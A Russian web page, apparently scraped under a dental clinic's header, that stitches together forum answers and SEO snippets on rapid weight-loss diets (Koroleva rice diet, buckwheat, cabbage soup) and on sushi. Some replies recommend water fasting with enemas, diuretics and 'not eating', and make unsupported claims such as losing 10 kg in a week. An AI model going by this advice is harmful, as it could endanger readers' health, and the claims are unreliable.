Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Девченки! Надо за 3 недели в срочном порядке скинуть 7 кг! На какой диете эффективней??

Глисты - проверенное средство!

Меню диеты Маргариты Королевой на 9 дней. Меню диеты крайне простое, даже примитивное.Берем ту же рисовую кашу, правда, теперь можно заменить ее на гречку или кинву, варим ту же грудку, и тушим капусту-кабачки.

Кремлевская подойдет

Бессолевая диета.
Следующий вариант меню бессолевой диеты рассчитан на 15 дней:
3 дня курица без кожи и жира (лучше грудку) - за сутки можно съесть 500 грамм
3 дня рыба (не жирных сортов) - около 500 грамм можно съесть за 1 день
3 дня любая каша на воде - можно добавить молоко. За 1 день 250 грамм каши в сухом виде.
3 дня овощи, кроме картофеля (1-2 кг за 1 день) 3 дня фрукты, кроме бананов (1-2 кг за 1 день)
Я только не могу понять, зачем Вам при таких параметрах скидывать 7 кг, смотрите до анорексии не дохудейтесь, это будет гораздо страшнее лишних полкило.

Вес/рост сейчас какой? Без исходных данных - никак.

Диета: "Любимая": За 7 дней уходит до 4 кг. без возврата + очищается организм.
1 ДЕНЬ: питьевой (пьем все что хотим, в том числе бульоны)
2 ДЕНЬ: овощной (кушаем салаты в любом количестве, желательно с добавлением капусты (жиросжигатель) )
3 ДЕНЬ: питьевой
4 ДЕНЬ: фруктовый (кушаем фрукты, желательно грейпфруты (жиросжигатель) )
5 ДЕНЬ: белковый (кушаем яйца, филе курицы (вареное), можно йогурты)
6 ДЕНЬ: питьевой
7 ДЕНЬ: выход
Завтрак: чай, 2 вареных яйца.
Перекус: фрукт
Обед: бульон (можно сварить легкий супчик с рисом или гречкой)
Перекус: фрукт
Ужин: салатик (заправка: оливковое масло )

Дробное правильное питание и спорт, 7 кг не скинете, но 5 где-то точно

Хочу попробывать диету Корол вой 3дня рис,потом кура, и затем, 3 дня овощи . Хотелось-бы узнать, что потом делать,после 9-ти дней диеты?К рисовой диете обязательно нужно проводить очищение кишечника, т.к. рис сам по себе крепит.

Эх мне бы до 56 скинуть !). У меня 65. Правда и рост повыше -168

Копила лет 10, а теперь за 3 недели скинуть? ))) Ну мечтай дальше, тупи с диетами... Некоторым бабам видимо мозг дан только чтобы из ведра не пить, когда пол моет

Последняя разработка ученых: Как в срочном порядке скинуть 7 кг : 1. Никак 2. Смирись. Завтракай, как королева! Обедай, как королева! Ужинай, как королева! И помни, ты не жирная. Ты королева!

Водичка и яблочки - и ВСЕ!

Екатерина Мириманова - Система-60 попробуйте. просто в поиске или в одноклассниках смотрите. результаты правда шикарные

9 дневная диета Маргариты Королевой это три этапа и три монодиеты.Рисовая диета 3 дня 250 г длиннозернистого белого рисаЧто касается выхода с диеты если вы применяете ее перед отпуском, в качестве подготовки к пляжному сезону или перед важным выходом в свет...

Ленивая диета 100%

Какую диету можно применить,чтобы похудеть на 20 кг.без проблем со здоровьем

В гугле посмотрите там море всяких диет

Рисовая диета Маргариты Королевой. Первый этап рис.Известная многим рисовая диета Маргариты Королевой с момента своего появления сумела быстро завоевать головокружительную популярность, благодаря приемлемой 9-дневной продолжительности и...

Купить велосипед и гонять на нём ради удовольствия. Лёжа на диване есть малокалорийную пищу бесмысслено

Диеты не работают, как только с неё слезете ваши 20 кг вернуться с довеском. только правильно питание как образ жизни. и не надо городить огород

Нет безопасных диет, чтобы сбросить 20 кг. Есть диеты при которых Вы эти кг гарантированно сбросите. Если нет проблем с печенью и почками, попробуйте кремлевскую (низкоуглеводную) . Только хорошие физические нагрузки все равно нужны!

Уберите сахар из рациона и начните заниматься физическими нагрузками махать ногами и пр

Питаться по системе "минус 60" или по книгам Маргариты Королевой.

Девятидневная диета Маргариты Королевой - отзывы. Рекомендуют 77%. Эффективность.Другие рисовые и мясные дни я в основном пила воду, т. к. заставить себя проглотить хоть чуть-чуть было...

Здоровое питание+обертывание+ванны+нек. физ. нагрузки.. . -гарантированно
но обертывание и ванны имеют противопоказания.
по крайней мере, таким образов вес уйдет кудаааааа быстрее.
Ах, да! Обруч - просто, приятно и сделает вашу талию бесподобной.

Диета Кима Протасова вместе с выходом. За 10 недель однозначно скинете! и при этом, это как правильное питание!

Слышала, что японская диета оч помогает. Но при ней надо еще и дополнительно пить витамины какие-нибудь. Она оч строгая, но эффективна (подруга сидела и после нее значительно уменьшилась в объемах)

Варианты:
Отказываетесь от 4 видов продуктов:
1. Сахар и всё, что содержит сахар
2. Мучное и всё, что содержит мучное.
3. Картофель (в любом виде)
4. Белый шлифованный рис.
Плюс ходите не менее 4-5 км в день. Ежедневно. И пьете 2 литра воды в день.
Проблем со здоровьем, как вы понимаете, этот метод не принесет.
Дальше. Время от времени садитесь на боннский суп. Длительность - 2 недели. Постоянно кушаете овощной суп (клетчатка, витамины) , также овощи, фрукты, молоко, мясо и рыбу. Рецепт найдите в интернете. Вреда никакого, постоянная сытость, вес уходит средними темпами, зато не возвращается.
Дальше. 1 раз в неделю на протяжении всей жизни устраивайте разгрузочные дни.
Выберите то, что вам подходит: на кефире, на овощах, на фруктах и тп
Элементарная зарядка ежедневно. Забирает 10-15 минут. Польза реальная и ощутимая.
Попробуйте также 90 дней на раздельном питании. Это диета. Есть в интернете. Уверяю вас, минусов никаких, из плюсов: бодрость, энергия, свежий цвет лица и хорошо уходящий вес.
Также рекомендую дробный тип питания. Система питания, когда человек кушает ПО ЧУТЬ-ЧУТЬ, но часто (5-6 раз в день) ускоряет обмен веществ, плюс - полное отсутствие чувства голода. А килограммы уходят.
Ещё есть диета "5 ложек". Полюбопытствуйте. У большинства людей желудок растянут, как у скота, а в реальной жизни размер нашего желудка должен быть ровно как наш кулак. Соответственно, и объем порций сокращается. Калории не считаем, просто уменьшаем порции. В интернете об этой диете написано подробно. Естественно, вес не вернется.
Не забывайте пить много воды. Организму она нужна обязательно.
Желаю успехов.

Система минус 60 миримановой

Меню диеты Маргариты Королевой на 9 дней. Меню диеты крайне простое, даже примитивное.Берем ту же рисовую кашу, правда, теперь можно заменить ее на гречку или кинву, варим ту же грудку, и тушим капусту-кабачки.

Как похудеть на 10 кг за 18 дней? Помогите!!! Любые советы, без отрубания рук и ног только, пжл!!! ОЧЕНЬ СРОЧНО!!!

Не есть, посиди на соках и воде. и будь готова набрать часть этих кгшек после

Меню 9-ти дневной диеты Маргариты Королевой. Первый этап. С первого по третий день необходимо употреблять постную рисовую кашу желательно из нешлифованной крупы .

Masha!Nu skolko mozno uze tverdit-nelzjaaaaa tak bistro hudet,nelzja.Srochno vam nado ili nesrochno-vi zdorovje poterjaete,eto ponjatno vam?Vikinte sladkoe-zirnoe i cherez 18 dnei budete otlichno vigljadet.

Во время диеты все продукты варим, употребляем без сахара и соли. Обязательно каждый день выпивать негазированную воду или зеленый чай - 2,5 литра в день. Все продукты во время диеты Маргариты Королевой необходимо съедать до 18.00
3 дня едим рис.
С вечера замочить стакан немытого риса, утром высыпаем его в кипящую воду и варим 10-15 минут. Утром съесть стакан риса. Остаток риса надо доесть до 19.00 равными частями каждый час.
3 дня едим курицу.
C курицы весом 1-1.2 кг, снять кожу и обязательно весь жир. Варить до готовности.
3 дня едим овощи вареные и свежие.
Норма на день- 800 граммовая банка. Исключаются соленые и квашеные овощи. Можно делать овощные салаты, например винегрет без соленых огурцов.
Эта диета, хоть и не “голодная“, но достаточно экстремальная, поэтому на время ее проведения исключите физические нагрузки: занятия спортом, фитнесом, вскапывание дачных грядок и т. д. А вот во время отдыха, наоборот, старайтесь побольше двигаться: ходить пешком, плавать, танцевать. Это поможет вам удержать достигнутый вес и вернуться из отпуска еще более неотразимой.
Ешь 5-6 раз в день до 6 часов вечера – это обязательно! После 6 вечера лучше выпить чашку зеленого чая с медом. В ресторане можно весь вечер есть рукколу или листовой салат, запивая бокалом белого сухого вина.
Не голодай. Жировую клетку морить голодом нельзя!
Ее назначение – делать запасы при возникновении чувства голода. И если ты сегодня даже не зашла на кухню, то завтра, что бы ты ни съела, – обязательно поправишься.
Противопоказаниями для этой диеты служат язва желудка, некоторые болезни сердца и даже банальная простуда! А еще необходимо помнить, что периодически садиться на диету, а затем опять отрываться, переедая и возвращая былые килограммы, которые притащат с собой еще и “новеньких“, по меньшей мере безграмотно, по большей - вредно. Для поддержания хорошей фигуры и здоровья необходимо всегда соблюдать умеренность в питании.
Прежде чем приступить к экстремальному похудению, проконсультируйтесь с лечащим врачом!
по личному опыту знаю, что помагает отлично! за 9 дней я скинула 5 кг, при росте 176 и весе до диеты 61кг, я и не расчитывала на такой результат! )
успехов вам!

Зачем такой экстрим? Подумай о последствиях. Есть вариант убирать 100 кг. всю жизнь.

Я сидела на минералки и мочегонных. 4 дня 4 килограмма. удачи.

Kgminus com/?i=309&l= ru Здесь есть конкретная методика.

Меня тоже заинтересовала диета Маргариты Королевой, 9 дней сидеть на такой строгости сложно, но попробовать хочется, давно пора худеть. У меня возник к вам вопрос, а за три дня на рисе, пардон, запоры не будут мучать? Ведь рис крепит.

Есть очень действенный способ.. .
Для начала, все это время ничего не есть, кроме овощей... И все эти 18 дней заниматься сексом.. . только активненько и с минимальными перерывами.. . ))))

А вы как думаете как их сбросить?? ? уж явно не сидя на диване! забудьте про лифт, ходите пешком как можно дольше, бегайте, плавайте, катайтесь на роликах, велосипеде (если есть возможность) . ну и естественно, кушать 5-6 раз в день, маленькими порциями, очень маленькими. забыть (не только на 18 дней) а на всегда, про жаренное в масле, про жирное (колбаса и т. д.) , мучное. сейчас лето, худеть прощу, больше фруктов, овощей, запекайте их, тушите, варите, что угодно. гречка, ваш лучший друг теперь. и главное, двигаться, двигаться и ещё раз двигаться! удачи!

На кефире посиди.
естественно можно воду и чай (без сахара)
+ спорт.
+ еще бы хорошо массаж \обертывания.

Три дня делать клизму и ничего не есть. Можно пить кипяченную воду. Затем три дня перерыв. Питаемся только фрукты овощи и натуральные соки. Консервированные соки нельзя. Затем вновь голодовка на уже на 6 дней. Пить только кипяченную воду. При возникновении болей в суставах добавить чайную ложку меда в воду. После окончания . выходить из голодовки медленно, сначала употребляем натуральные соки /морковный/ 1 день, затем супы 1 день, и затем каши легкие2 дня, через 4 дня можно все но понемногу. Не переедать, иначе вес вернется...

Потерять больше кг за малый срок очень вредно для организму! берегите себя!

В одной из публикаций Маргариты Королевой прочитала о рисовой диете.Девочки, вот моя рисовая диета. Рис нужно покупать обязательно нешлифованый - он очень полезный! Т.к. мне очень трудно есть несол ную пищу, я нашла выход - в свареный рис натираю на т рке...

Каждый день на ночь есть гречневую кашу!

Мария, введите в поисковике "20 кг. за 20 дней" там правда.. за 20 дней можно скинуть 15-18 кг

Я просто в шоке!
ну как так можно издеваться над своим организмом! ?
как можно быть на столько безграмотным человеком?
запомните! нельзя избавиться от лишнего веса:
1. без вреда для здоровья за 2 недели, за месяц!!!! ну как это объяснить!! !
2. не занимавшись спортом и есть все подряд!
3. если у вас есть заболевания ( например: проблемы с гормонами, проблемы с пищеварением, проблемы с щитовидной железой, сахарный диабет и т. д. ) - это надо узнать у врачей, пройти обследование.
4. и все таблетки для похудания – в лучшем случаи содержат слабительное в худшем химию!
если вы "сели на диету" то это уже на всю жизнь! запомните это! это уже ваш образ жизни!
нельзя голодать год, а потом начать есть и не набрать вес!

Фигура еще так далека от совершенства.. . Что же делать? Нужно какое-то эффективное и быстрое средство для похудения. И при этом совсем не хочется истязать собственный организм немыслимыми нагрузками или экстремальными продуктами. Итак, мы хотим похудеть, при этом оставаясь бодрыми и жизнерадостными. То есть нам нужна диета, которая поможет эффективно снизить вес и не голодать при этом.
Такая диета существует – гречневая. Она рассчитана на одну неделю, но наиболее стойкие дамы выдерживают и до двух недель. Именно о ней мы и поговорим на МирСоветов.
Продукты для гречневой диеты
Суть проста: берем один стакан не дробленой гречневой крупы, заливаем двумя стаканами кипятка и оставляем настаиваться на ночь. Утром едим только гречку, запивая ее 1% кефиром. Солить, сластить и добавлять масло в гречку нельзя. Съесть за один раз можно «сколько влезет» - несоленая гречка обладает настолько специфичным вкусом, что вряд ли вы съедите больше 10 ложек за раз. Кефир должен быть свежим и не сладким. В первый день гречневой диеты вполне достаточно будет одного стакана заваренной гречневой крупы (то есть двух стаканов готового продукта) . Но если почувствуете, что можете съесть больше, на другие дни заваривайте большее количество крупы (пропорция та же: 1 часть гречки, две части воды) . Но при любом количестве гречки вы можете выпивать не более 1 литра кефира в день. Тем, кто не мыслит свое утро без чашки кофе, можно не отказывать себе в этом удовольствии, только кофе должен быть слабым и без сахара. То же можно сказать и любительницам чая. На время сидения на гречневой диете лучше перейти на зеленый чай. Если будет уж очень тяжело кушать одну гречку, можно сделать себе послабление в виде одного-двух яблок или апельсинов в день. В принципе, можно есть любые фрукты кроме бананов и винограда. Все зависит от количества съеденных фруктов, если съесть слишком много, потом просто не сможете вернуться к суровой гречневой диете. Когда станет совсем невмоготу все время кушать несоленую гречневую кашу, можно сдобрить ее соевым соусом. Только соус должен быть низкокалорийный и без соли. Во время гречневой, как во время большинства других диет, крайне не желательно есть после 6 часов вечера. Но если вам трудно следовать этому правилу, оставьте на вечер полстакана кефира, долейте водой до полного и выпейте это перед сном.
Что происходит с организмом во время гречневой диеты?
Начнем с того, что гречневая крупа очень полезна, в ней содержатся такие микроэлементы как железо, калий, магний, кальций. Кроме того, гречка укрепляет стенки сосудов. Вдобавок, содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.
Отрицательная сторона гречневой диеты в том, что вы не будете получать ни соли, ни сахара. Поэтому эту диету следует применять с осторожностью людям, у которых диабет и/или гипертоническая болезнь. Несоленая гречка выводит из организма шлаки и лишнюю воду. Из-за того, что в организм не поступает соль, периодически возможны головные боли, а также это может спровоцировать падение артериального давления. Пока мы сидим на гречневой диете, мы обделяем свой организм и сахаром. А сахар – это глюкоза, которая так необходима мозгу для эффективной работы. Поэтому во время гречневой диеты вы можете почувствовать, что голова стала соображать хуже и безумно хочется сладкого. Выход есть: разведите чайную ложку меда в стакане воды и выпейте этот «напиток» . Не бойтесь, вся глюкоза достанется мозгу, а не отложится на бедрах.
Пока вы будете есть только гречку и пить кефирчик, организму придется пускать в оборот свои резервы – сжигать жир, чтобы обеспечить организм недостающими питательными веществами. В результате ускорится обмен веществ и сжигание жира пойдет быстро и легко.

ЧЕМ ВреДНЫ СУШИ И КАКАЯ ОТ НИХ ПОЛЬЗА;)??

Может пронести, а может и пронесет....

После выхода из диеты меньше ешьте мясного и молочного, на oбeд и yжин готовьте неочищенные злаки рис, макароны серые, серый хлеб и хлеб с отрубями . Рисовая диета для похудения 5 объемов .

Если нравиттся нужно кушать и наслаждаться а не думать!

Ешь мясо полезней будет

Эти модные суши!
Такое количество полезных для здоровья продуктов не снилось ни одному блюду. Икра, рыба, имбирь, морепродукты, рис и чрезвычайно полезные водоросли.
Витамины (A, D, E, B), микроэлементы (йод, цинк, селен, железо, фосфор) , тут же легкоусвояемые белки, омега-3 жирные кислоты и сложные углеводы. Находка для тех, у кого есть проблемы с лишним весом, а также с сердцем, сосудами и даже с желудком.
Многие вещества, входящие в состав суши, являются антиоксидантами, а уж соотношение жиров, белков и углеводов построено прямо по канонам низкожировой диеты.
И даже рис в японской кухне тоже полезен!
Особый сорт, способ обработки и приготовления. Кстати варить его самим совсем непросто – стоит чуть ошибиться с рецептом и он уже не склеится… .
Такой рис сохраняет все свои полезные свойства и набору лишнего веса не способствует.
В рисе для суши повышено содержание клейковины. Его не шлифуют, не обрабатывают паром. А перед варкой – вымачивают. И в воду уходит часть
вредного для талии крахмала.
Васаби - этот японский аналог хрена очень едок. Не все знают! Но васаби дезинфицирует еду!
ведь васаби входит в состав и соевого соуса.
И основной ингредиент японской кухни – дары моря. Суши делают с самой разной рыбой и морепродуктами, причем морскую живность используют сырую, а речную из соображений "желудочной безопасности" – только в обработанном виде, чаще всего копченую.
Если вы решили сделать суши со свежей рыбой – то я рекомендую лосося. Самый безопасный вариант. А если решили поэкспериментировать – то советую покупать рыбу только в специализированных магазинах. Только так вы избежите риска отравиться.
А вот любая другая рыба из обычных супермаркетов для изготовления суши не подойдет! Ее в сыром виде есть категорически нельзя. Даже антисептик вассаби не справится с бактериями. Правда есть выход - вегетарианские роллы.
Японская кухня особенно хороша на ужин – легкая и питательная. А чтобы получить двойную пользу – запивайте роллы и суши зеленым чаем. Вносите разнообразие в жизнь и следите за здоровьем!

Дмитрий королёв a sushi toje s myasom delayut, Teriyaki nazyvayutsya ;)
A vreda ot sushi net, esli tolko protuhshuyu rybu ne slopat. Tak chto nado toka u yaposhek kufat )))

Сплошная польза, при отсутствии аллергии. Вред -паразиты в рыбе.

По эффективности своей рисовая диета похожа на гречневую. Жесткий, беспощадный вариант рисовой диеты выглядит так варится один стакан риса и съедается в течение дня понемногу.Диета Маргариты Королевой.

Рыба - это польза. перспектива глистов - это не очень полезно.

Вредны тем что может быть рыба не свежая, а польза ограмная посмотри на японцев-долгожителей

Каким образом сбросить 7 кг до нового года????

Купить пластырь (на рот)

Диета Королевой вредные продукты. жиры сливочное масло, маргарин, сало, соусыРисовые дни. Единственным блюдом на три дня становится рис, приготовленный особым образом.

Есть рис без соли и пить воду

Не знаю как вам, но мне лично помагают занятия спортом, хоть немножко, ну и сладкого поменьше... ещё надо фрукты есть а особенно ананасы, они помагают травлению и спаливают жиры...

Вот так!

Строго придерживаться капустной диеты!
спорт! секс и еще раз секс!

Попробуйте японскую диету, не голодная, длительность13дней+парочка на выход, сама сижу на ней, вес хорошо уходит и объёмы тоже

Блюда из рисовой крупы богаты большим количеством витаминов.Диета Королевой - полезные советы и отзывы. Считайте калории. Самой большой проблемой после соблюдении диеты является выход из нее и дальнейшее сохранение результатов.

Никак.
В неделю для комфортного снижения веса со стойким результатом рекомендуется сбрасывать не более 1 килограмма. Следовательно, если вы начнете вести здоровый образ жизни с сегодняшнего дня вы похудеете только к концу февраля. :)
Если же вы хотите испортить обмен веществ, то пожалуйста - голодайте по недели-две-три, вы похудеете но через неделю-две -три наберете вес обратно, кроме того вернувшиеся килограммы приведут "друзей" Оно вам надо?

Если в платьице нарядное
не влезает попа толстая,
а напялить платье хочется,
но мешают шесть котлеточек,
перед ужином схомяченых,
шоколадка и три булочки,
после ужина добавленных
и кефира поллитровочка -
та, что на ночь глядя выпита;
Выход здесь один, товарищи:
топаем в аптеку ближнюю.
Там мы купим чудодейственный
пластырь, что для похудания
надо на себя наклеивать…
Да, пожалуй, надо парочку
или даже штучек несколько -
это, братцы, средство верное!
Когда в приступе хомячества
кушать нам опять захочется,
достаем из сумки пластырь мы
и им рот себе заклеиваем.
И смотрите, чтоб ни щелочки
не осталось и не дырочки!
Потому что морда хитрая
сквозь игольное отверстие
слопает верблюда запросто,
а котлеток даже несколько
или булочку изюмную.
И когда тот пластырь накрепко
прирастет ко рту хомяцкому,
тут начнется чудо чудное -
скоро талия появится,
а потом и попа стройная
запросто вольется в платьице
и пойдет она кокетничать,
в разны стороны повиливать,
улыбаться и подпрыгивать
и тормашками поигрывать!

Занимайтесь спортом)) )
диета Маргариты Королевой) хорошая диета) )
http://updiet.info/dieta-margarity-korolevoj.html
читайте))

Что.. диета, спорт, физическая нагрузка.. все как обычно.

Хочу похудеть на 10кг за месяц на море надо кто знает эффективную диету?поделитесь пжалуйста!

Есть оооочень эффективная диета. Называется спортзал

Рисовая диета Маргариты Королевой так ее называют из-за стартовых рисовых дней не требует подкрепления в виде физических нагрузок вес будет уходить и без них.

Жуй блины или сиди на бич-пакетах.

Ходи больше, ешь овощи и фрукты

Я мужчина. мне 20 лет. вешу для своего роста мало, было бы не плохо набрать 5-10кг. не понимаю как можно потолстеть) есть советы? кушать много пробовал и ничего не делать- долго не получается и результата нет.

Не есть!!!

Попробуй Японскую диету. очень эффективная. только не кушай никакие чудо-таблетки и чаи.. . толку нет, а организм испоганишь

Диета Королевой меню на 9 дней и этапы . Первый этап 1 3 дни . Вс , что можно есть на первом этапе диеты нешлифованный рис и м д, в больших количествах нужна жидкость вода, зел ный чай, разрешены натуральные соки .рисовая каша с овощами

Молоко+селедка (или огурцы).

Бич пакеты не надо язва желудка говорят будет. ну если на диетах умеете сидеть попробуйте неделю посидеть на гречневой диете. и если не лень бегайте по утрам мин 30. пресс качать приседать отжиматься .

Голодай 3 дня. эффект на весах будет наилучший.

Диета от журналиста Владимира Соловьева
Составлена под руководством диетолога Маргариты Королёвой)
Рецепт жиросжигающего супа:
5 литров воды, 6 средних луковиц, несколько помидоров, небольшой качан капусты, 2 зеленых перца, пучок сельдерея. Кипятить на большом огне 10 минут, затем сделать маленький огонь и продолжать варить до готовности 10 минут, соль, перец – по вкусу. Этот суп можно есть в любое время, когда вы голодны, ешьте его столько, сколько хотите.
•1 день. Суп и любые фрукты (кроме винограда и бананов) .
•2 день. Суп и овощи.
•3 день. Суп, фрукты и овощи. Если вы полностью придерживались этой диеты, то вы должны потерять от 1 до 3 кг.
•4 день. Суп, фрукты и овощи (кроме винограда и бананов) .
•5 день. Суп и говядина с помидорами. Постарайтесь выпить в этот день 6-8 стаканов воды.
•6 день. Суп и говядина с листовой зеленью.
•7 день. Суп, овощи, черный рис.
Категорически запрещен хлеб, алкоголь, газированные напитки. Ничего нельзя жарить или готовить с добавлением жира. Взвешивайтесь по утрам. При точном соблюдении диеты за неделю вы должны сбросить от 3 до 9 килограммов.

Перед каждым приемом пищи выпевайте 2 стакана обычной воды, через 15 минут можно приступать к трапизе, но после в течении 2 часов ничего нельзя пить! !
также эффективно заниматься спортом : бег, пресс, приседания, игра в бадминтон или теннис (большой) , катание на велосипеде
Удачи))

Все продукты во время диеты Маргариты Королевой необходимо съедать до 19.00. 3 дня едим рис.Одновременно с этим блюда из рисовой крупы богаты витаминами В3, РР, В1, В2, Е, В6.

Есть ли у Вас любимая диета? если есть, то какая?

Не жрать, совсем)))

1.Рисовая монодиета. Почему рис? Этот продукт очень питательный, поэтому способствует быстрому насыщению.Правила выхода из диеты Королевой. Последний день диеты подошел к концу, можно возвращаться к привычному рациону.

Мясо с рисом. и белки и не жирная. ну и овощи фрукты это обязательно.

Кремлевская

Диета моя - это образ жизни, есть мал. порциями, и не есть после 18ч. Супер!

Собственно сама диета
За 7 дней уходит до 10 кг. без возврата + очищается организм.
1 ДЕНЬ: питьевой (пьем все что хотим, в том числе бульоны)
2 ДЕНЬ: овощной (кушаем салаты в любом количестве, желательно с добавлением капусты (она жиросжигатель) )
3 ДЕНЬ: питьевой
4 ДЕНЬ: фруктовый (кушаем фрукты, желательно грейпфруты (жиросжигатель) )
5 ДЕНЬ: белковый (кушаем яйца, филе курицы (вареное) , можно йогурты)
6 ДЕНЬ: питьевой
7 ДЕНЬ: выход Завтрак: чай, 2 вареных яйца. Перекус: фрукт Обед: бульон (можно сварить легкий супчик с рисом или гречкой) Перекус: фрукт Ужин: салатик (заправка: растительное масло и соль)

Я утром ем обезжиренный творог, в обед яблоко, на ужин куринное бедрышко (мал) с супчиком. Все это ем в малюсеньких количествах. Это моя диета, так я худею. Да и еще бегаю по часу в день и разгружаюсь 1-3 дня на воде раз в неделю.

В действенность диет Маргариты Королевой верят по разным причинам.Как испортить результат после диеты. Выход из диеты 9 дней . Видео диета Маргариты Королевой.

Нету, я люблю вкусно покушать)) ) и моей фигуре это не грозит.

Ест такая - класснее не встречала. Она уже не диета - а просто такое питание приятное и удобное - на всю жизнь. Не обременительно не сколь и вкусно. Польза всесторонняя - организм всегда не захламлён; кожа чистая, свежая и упругая; в теле лёгкость и крепкий иммунитет. Получила такую от травницы Анны http:3//travnik-anna.3jimdo.3com/ (только уберите тройки из ссылки) Почему не пишу тут - потому что у каждого свой организм и какие-то свои ньюансы в нём.

Монодиета М. Королевой
но это только чтобы вернуться к нормальному режиму питания после длинных праздников, например. Или перед торжеством каким...

Подскажите пожалуйста,как похудеть в короткие сроки-мягко говоря лентяйке.

Не готовить.
И, соответственно, не жрать.

Из овощей можно готовить салаты, но без включения квашеных и соленых продуктов, соли и масла. Правильный выход из диеты Маргариты Королевой. Рисовая диета Маргариты Королевой так ее называют из-за стартовых рисовых дней ...

Лентяйке - никак. Так и будет освиневать все больше и больше.

Баня, массаж, обертывания
лентяйка ж)
для не очень ленивой добавить ну хоть минимальные физнагрузки: хулахуп 15 минут, ходить 20 минут
для совсем не ленивой еще и меню урезать до 1500 калорий)

Нууу, если не хочешь упражнять то и не надо, в котороткие сроки результат будет не ахти (лично я когда ленюсь упражнЯться просто включаю музыку и танцую) можешь сесть на диету или на правильное голодание, так же поделать различные обертывания, ванны для похудения, можешь даже попить чаи для похудения (они в основном выводят лишнюю воду из организма) или поискать другие вспомогательные средства (типо имбирного чая, похудения с помощью черного угля, но только осторожно!) . поищи поподробней обо всем этом в интеренете. удачи)

Заклеить рот

Здравствуйте! Начну с того что существует огромное количество продуктов, способствующих жиросжиганию. Среди них лидирующими являются кофе, зеленый чай и брокколи (из-за того что они содержат большое количество антиоксидантов, поэтому они помогают ускорить обмен веществ илии по-другому метаболизм) . Но также имеет место быть такая добавка как Левокарнитин (аминокислота, природное вещество, родственное витаминам группы В. В отличие от витаминов, карнитин синтезируется в организме, поэтому его называют витаминоподобным веществом) . В организме человека и животных Левокарнитин синтезируется в печени и почках, из которых транспортируется в другие ткани и органы. Синтез левокарнитина требует участия витаминов С, В3, В6, В9, В12, железа, лизина, метионина и ряда ферментов. При дефиците хотя бы одного вещества может развиваться недостаточность Левокарнитина. Левокарнитин транспортирует длинноцепочечные жирные кислоты в митохондрии через внутреннюю мембрану последних, в которых происходит их β-окисление с последующей утилизацией. Левокарнитин можно преобрести в магазинах фитнес-индустрии и спортивного питания.
Что касается советов "Не жрать" и "Не есть после шести", то это полнейшая глупость! Не голодайте и не изнуряйте себя низкокалорийными диетами. Откажитесь от голодных диет с рационом, состоящим из трех капустных листов и одной морковки. Вы - человек, а не кролик, и для того чтобы нормально функционировать вам нужна энергия. Когда мы голодаем или резко сокращаем потребление калорий до вредного минимума, то организм, заботясь о нашем выживании, начинает накапливать жир. Минимальное количество калорий потребляемое на диете должно быть не меньше 1200 калорий, все что меньше этой цифры принесет лишь краткосрочный результат, набор веса, и проблемы со здоровьем.
Дробное питание. Следующее, что вы должно помнить – вы не мишка, наедающийся до отвала на зиму, и всю зиму проводящий в глубокой спячке. Принцип – наелся до отвала, но на целый день, вам не помощник. Во-первых, питаясь подобным образом вы растягиваете свой желудок, а во-вторых чувство голода все равно вас посетит до конца дня, и не раз. Большинство диетологов полагают, что питание должно быть дробным и частым. При увеличении приемов пищи уменьшается ее объем, что позволяет выработать привычку не переедать. При этом желудок не растягивается, как при больших объемах пищи, а уменьшается, что, несомненно, дает только преимущество. Норма для желудка – это пища, объемом с 200 граммовый стакан.
Потребляйте больше белковой пищи. Для расщепления белков организму требуется вдвое больше калорий, чем на расщепление углеводов. Добавьте в свой рацион больше белков. Очень хорошо употреблять белки на ужин. Белки содержатся в мясе, курице, рыбе, сыре.
Прятности, такие как имбирь, перец и другие способствую быстрому перевариванию пищи и ускорению метаболизма. Но не стоит налегать на них, если у вас есть проблемы с желудком.
Физическая активность. Метаболизм напрямую зависит от количества мышц - чем больше мышц, тем быстрее происходит процесс обмена веществ. Ведь, именно в мышечной массе находятся основные катализаторы сжигания жира в организме. Не ленитесь. Уделяйте больше внимания спорту. Для начала замените лифт подъемами по ступенькам) Если нужно узнать о чем-то более подробно можете написать в личку)

Кристина Шолом Вот пример такой девятидневной диеты, состоящей из трех монодиет Первые 3 дня рисовые . Вы едите толь ко рис, приготовленный по следующему рецепту.Сегодня первый день моей рисовой диеты Маргариты Королевой.

Есть диета 6 лепестков. Это Вам подойдет. Легко, просто и без проблем. если все правильно делать 6 дней минимум 5 кг.

Меньше есть. . намного меньше и ничего калорийного

За 7 дней уходит до 10 кг. без возврата + очищается организм.
1 ДЕНЬ:
питьевой (пьем все что хотим, в том числе бульоны)
2 ДЕНЬ:
овощной (кушаем салаты в любом количестве, желательно с добавлением капусты (она жиросжигатель) )
3 ДЕНЬ:
питьевой
4 ДЕНЬ:
фруктовый (кушаем фрукты, желательно грейпфруты (жиросжигатель) )
5 ДЕНЬ:
белковый (кушаем яйца, филе курицы (вареное) , можно йогурты)
6 ДЕНЬ:
питьевой
7 ДЕНЬ:
выход
Завтрак:
чай, 2 вареных яйца
Перекус:
фрукты
Обед:
бульон (можно сварить легкий супчик с рисом или гречкой)
Перекус:
фрукты
Ужин:
салатик (заправка: растительное масло и соль)

9-ти дневная диета Маргариты Королевой

Есть голой перед зеркалом :) (придумано не мной)

Диета Королевой рисовые дни. Три дня полагается есть только золотистый или белый длиннозерный басмати рис - также, как и в любом из вариантов рисовых диет. Его готовят по следующему рецепту...

Подсажите,какая диета (или ср-во д/похудания),самая эффективная,

Спорт+работа.

Противопоказания для диеты Маргариты Королевой. Отзывы худеющих о диете Королевой. Суть девятидневной диеты Маргариты Королевой. В течение первой трети диеты следует есть исключительно рис.

Больше пить, не есть после 18


Диета Л. Долиной
Понедельник – 3 ст. ложки риса разделить на 3 раза
Вторник – 6 штук картофеля
Среда – 400гр. Творога
Четверг – 6 яиц
Пятница – 400гр. Говядины
Суббота и Воскресенье – фрукты, овощи в неограниченном количестве
ПОТЕРЯ 5-6КГ.
Японская диета.

Я считаю, что спорт лучше всяких диет!!! !
Диеты - очень вредны для организма!!!

